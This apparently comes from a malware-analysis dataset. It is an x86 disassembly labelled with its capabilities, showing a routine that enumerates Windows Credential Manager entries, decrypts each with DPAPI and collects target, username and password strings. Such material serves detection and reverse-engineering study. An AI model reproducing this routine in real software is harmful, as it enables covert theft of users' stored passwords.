Function at 0x4195bc
Capabilities:
Acquire credentials from windows credential manager
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x18
push 0
push 0
dec ecx
jne 0x4195c4
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x41983d
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x41984c
lea edi, [ebp - 0x9f]
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x25
lea eax, [ebp - 0x9f]
lea edx, [ebp - 0x7a]
movzx ecx, byte [eax]
add ecx, ecx
add ecx, ecx
mov word [edx], cx
add edx, 2
inc eax
dec esi
jne 0x419601
lea eax, [ebp - 0x7a]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0x4a
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.advapi32.dll_CredEnumerateA
mov edi, dword [ebp - 0x18]
dec edi
test edi, edi
jl 0x4197b7
inc edi
xor esi, esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
mov edx, dword [eax + 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x20]
push eax
call sub.crypt32.dll_CryptUnprotectData
lea eax, [ebp - 0xa4]
mov edx, dword [ebp - 4]
mov edx, dword [edx + esi*4]
mov edx, dword [edx + 8]
call fcn.00404850
mov ecx, dword [ebp - 0xa4]
lea eax, [ebp - 8]
mov edx, 0x41987c
call fcn.0040494c
mov eax, dword [ebp - 0x28]
call fcn.00402ce0
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0xac]
mov edx, ebx
call fcn.00404880
mov edx, dword [ebp - 0xac]
mov eax, 0x41988c
call fcn.00404bb4
dec eax
push eax
lea eax, [ebp - 0xb0]
mov edx, ebx
call fcn.00404ea0
mov eax, dword [ebp - 0xb0]
xor edx, edx
pop ecx
call fcn.00404ef8
mov edx, dword [ebp - 0xa8]
lea eax, [ebp - 0xc]
call fcn.004048e0
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xb8]
mov edx, ebx
call fcn.00404880
mov edx, dword [ebp - 0xb8]
mov eax, 0x41988c
call fcn.00404bb4
push eax
lea eax, [ebp - 0xbc]
mov edx, ebx
call fcn.00404ea0
mov eax, dword [ebp - 0xbc]
call fcn.00404eec
pop edx
sub eax, edx
push eax
lea eax, [ebp - 0xc0]
mov edx, ebx
call fcn.00404880
mov edx, dword [ebp - 0xc0]
mov eax, 0x41988c
call fcn.00404bb4
inc eax
push eax
lea eax, [ebp - 0xc4]
mov edx, ebx
call fcn.00404ea0
mov eax, dword [ebp - 0xc4]
pop edx
pop ecx
call fcn.00404ef8
mov edx, dword [ebp - 0xb4]
lea eax, [ebp - 0x10]
call fcn.004048e0
cmp dword [ebp - 8], 0
je 0x4197af
cmp dword [ebp - 0xc], 0
je 0x4197af
cmp dword [ebp - 0x10], 0
je 0x4197af
mov eax, dword [ebp - 0x14]
push dword [eax]
push dword [ebp - 8]
push 0x419898
push dword [ebp - 0xc]
push 0x419898
push dword [ebp - 0x10]
push 0x419898
mov eax, dword [ebp - 0x14]
mov edx, 7
call fcn.004049c8
inc esi
dec edi
jne 0x41963f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419844
lea eax, [ebp - 0xc4]
call fcn.00404d8c
lea eax, [ebp - 0xc0]
call fcn.00404658
lea eax, [ebp - 0xbc]
call fcn.00404d8c
lea eax, [ebp - 0xb8]
call fcn.00404658
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.00404da4
lea eax, [ebp - 0xac]
call fcn.00404658
lea eax, [ebp - 0xa8]
call fcn.00404d8c
lea eax, [ebp - 0xa4]
call fcn.00404658
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.0040467c
lea eax, [ebp - 4]
mov edx, dword [0x40778c]
call fcn.00405860
ret